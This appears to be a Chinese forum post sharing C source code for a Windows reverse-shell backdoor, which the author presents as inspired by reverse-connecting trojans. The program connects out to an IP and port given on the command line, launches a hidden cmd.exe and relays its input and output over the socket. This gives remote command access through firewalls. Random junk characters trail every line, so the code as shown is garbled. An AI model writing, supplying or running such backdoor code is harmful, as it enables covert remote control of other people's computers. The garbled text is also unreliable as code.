这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cL"Ral-qB
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/* ============================== Zh?n;n}
Rebound port in Windows NT M@0S*[O{"
By wind,2006/7 y! j>_m){w
===============================*/ 9Lqz:4}
#include `EiL~*
#include LBcqFvj{&
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#pragma comment(lib,"wsock32.lib") ;[|+tO_
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void OutputShell(); ikPr>
SOCKET sClient; 7 S%`]M4;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %<h2^H\O
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void main(int argc,char **argv) ldG$hk'
{ w *o _s
WSADATA stWsaData; t"6u
int nRet; AP?m,nd6
SOCKADDR_IN stSaiClient,stSaiServer; +H!aE}
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f
if(argc != 3) \9}-5
{ H#bu3*'
printf("Useage:\n\rRebound DestIP DestPort\n"); FWS!b!#,N
return; BkDq9>
} RLDu5
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WSAStartup(MAKEWORD(2,2),&stWsaData); };cH5bYF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n$"BF\eM
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stSaiClient.sin_family = AF_INET; r\}
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stSaiClient.sin_port = htons(0); /(i~Hpp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M!\6Fl{ b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jgw+c3^R_
{ k6_OP]
printf("Bind Socket Failed!\n"); QO|jdlg
return; 4{"
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} LM".]f!,
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stSaiServer.sin_family = AF_INET; `iwGPG!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cty
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Aac7km
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J
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{ W1Om$S1
printf("Connect Error!"); @h7
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return; }i\_`~
} JZD&u6tB
OutputShell(); /?6
} ;7!u(XzN
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void OutputShell() By0Zz
{ 8noo^QO
char szBuff[1024]; xllmF)]*Y
SECURITY_ATTRIBUTES stSecurityAttributes; 75']fFO@!
OSVERSIONINFO stOsversionInfo; ?&.Eg^a"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hHsO?([99
STARTUPINFO stStartupInfo; &s&Ha{(!w
char *szShell; SwhArvS
PROCESS_INFORMATION stProcessInformation; e\]CZ5hs3
unsigned long lBytesRead; 0a)LZp|
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6^nxw>-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L4Si0 K
stSecurityAttributes.lpSecurityDescriptor = 0; <9?`zo$y
stSecurityAttributes.bInheritHandle = TRUE; 'S;l"
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XN'<H(G
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 97VS
xhr
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T-lHlm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R6G%_,p$7
stStartupInfo.wShowWindow = SW_HIDE; luO4ap]*
stStartupInfo.hStdInput = hReadPipe; /I q6'oo
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gUv`G
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GetVersionEx(&stOsversionInfo); +*$@ K'VL
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switch(stOsversionInfo.dwPlatformId) `,FvYA"
{ ]N1gzHaS
case 1: |_wbxdq
szShell = "command.com"; 0bR})}a+Yg
break; :FI4GR*?
default: p87VJ}
szShell = "cmd.exe"; <(2,@_~@r
break; M'ZA(LVp
} %ZZW
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gz"I=9
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send(sClient,szMsg,77,0); d##'0yg
while(1) 62J-)~_
{ BO-=X
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^2!l/(?
if(lBytesRead) N>+L?C
{ \-)augq([
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >*[Bq;
send(sClient,szBuff,lBytesRead,0); 7_AcvsdW
} 4[m4u6z=
else EX,)MU
{ +8q]O%B
lBytesRead=recv(sClient,szBuff,1024,0); 5TcirVO82
if(lBytesRead<=0) break; KN zm)O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P/hIJV[
} ZG)%vB2c
} u6u1>
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return; +"2IQme5
}